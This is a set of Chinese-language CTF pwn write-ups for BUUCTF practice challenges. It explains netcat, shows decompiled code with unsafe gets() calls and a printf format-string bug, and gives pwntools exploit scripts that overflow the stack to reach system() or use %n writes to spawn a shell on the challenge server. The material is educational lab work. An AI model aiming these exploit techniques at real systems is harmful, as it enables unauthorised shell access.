记录一些pwn题wp
test_your_nc 测试nc, ls 看到有flag, cat flag得到flag。
nc是netcat 的简写
(1)实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口 (2)端口的扫描,nc可以作为client发起TCP或UDP连接 (3)机器之间传输文件 (4)机器之间网络测速
nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p<通信端口>][-s<来源位址>][-v...][-w<超时秒数>][主机名称][通信端口...]
rip 拖到ida里面看一下,发现有一个危险函数get ,它从不检查输入字符串的长度,而是以回车来判断输入是否结束,所以很容易可以导致栈溢出。顺便也知道了15个字节的存储空间,那么在栈帧中系统就会给我们分配一个15个字节的存储空间 fun函数里面发现了system函数,system是c语言下的一个可以执行shell命令的函数,目前可以简单理解为,执行了这个危险函数,我们就拿到了远端服务器的shell,也就是相当于在windows下以管理员身份开启cmd,那么我们就可以通过一系列后续指令控制远端服务器。 编写脚本 ls 看到flag的文件,cat flag
warmup_csaw_2016 64位文件,而且没有开启保护 拖进ida 发现危险函数_gets,还看到了system函数 编写payload脚本
第二周 ciscn_2019_n_1 发现开启了NX,无法用shellcode 丢到ida
1 2 3 4 5 6 7 int __cdecl main (int argc, const char **argv, const char **envp) { setvbuf(_bss_start, 0LL , 2 , 0LL ); setvbuf(stdin , 0LL , 2 , 0LL ); func(); return 0 ; }
再看func函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 int func () { char v1[44 ]; float v2; v2 = 0.0 ; puts ("Let's guess the number." ); gets(v1); if ( v2 == 11.28125 ) return system("cat /flag" ); else return puts ("Its value should be 11.28125" ); }
找到system函数的地址 写payload
1 2 3 4 5 6 7 8 9 10 from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) p = remote("node4.buuoj.cn" , 28403 ) payload = b'a' * (0x30 + 8 ) + p64(0x4006BE ) p.sendline(payload) p.interactive()
[第五空间2019 决赛]PWN5 32位文件,开启了栈溢出保护,开启了NX 丢到ida里
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 int __cdecl main (int a1) { unsigned int v1; int result; int fd; char nptr[16 ]; char buf[100 ]; unsigned int v6; int *v7; v7 = &a1; v6 = __readgsdword(0x14 u); setvbuf (stdout, 0 , 2 , 0 ); v1 = time (0 ); srand (v1); fd = open ("/dev/urandom" , 0 ); read (fd, &dword_804C044, 4u ); printf ("your name:" ); read (0 , buf, 0x63 u); printf ("Hello," ); printf (buf); printf ("your passwd:" ); read (0 , nptr, 0xF u); if ( atoi (nptr) == dword_804C044 ) { puts ("ok!!" ); system ("/bin/sh" ); } else { puts ("fail" ); } result = 0 ; if ( __readgsdword(0x14 u) != v6 ) sub_80493D0 (); return result;
计算偏移量位10 写下脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import *p = remote('node4.buuoj.cn' ,29083 ) bss = 0x0804C044 payload = b"AAAA%16$n%17$n%18$n%19$n" + p32(bss) + p32(bss+1 ) + p32(bss+2 ) + p32(bss+3 ) p.sendline(payload) p.sendline(str (0x04040404 )) p.interactive()
cat falg
others_shellcode checksec,32位文件,
ciscn_2019_c_1 checksec查看下保护 64 位文件,开启了NX无法使用shellcode 丢到ida里查看 发现encrypt函数里有gets函数,大概是栈溢出